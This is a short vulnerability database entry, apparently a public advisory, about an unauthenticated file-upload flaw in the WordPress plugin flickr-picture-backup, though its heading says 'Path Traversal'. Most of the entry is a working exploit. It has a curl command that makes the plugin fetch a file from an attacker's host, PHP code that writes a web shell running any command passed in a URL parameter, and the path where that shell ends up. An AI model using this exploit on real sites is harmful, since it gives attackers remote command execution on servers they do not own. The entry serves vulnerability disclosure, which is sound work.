The VapidLabs Vulnerability Database

Path Traversal

Summary: The code in flickr-picture-download.php doesn't check to see if the user is authenticated or that they have permission to upload files.

Notified: 2017-04-26

Description:

Backup flickr’s picture which in page/post External links to flickr’s picture. 

Exploit:

$ curl http://example.com/wp-content/plugins/flickr-picture-backup/flickr-picture-download.php -d "url=http://myhost/shell.php"

Where shell.php is code to print out php web shell code, something like:

<?php
echo "<?php\n\$cmd=\$_GET['cmd'];\nsystem(\$cmd);\n?>\n";
?>

Upon exploitation your shell is in:

http://example.com/wp-content/uploads/flickr_backup/shell.php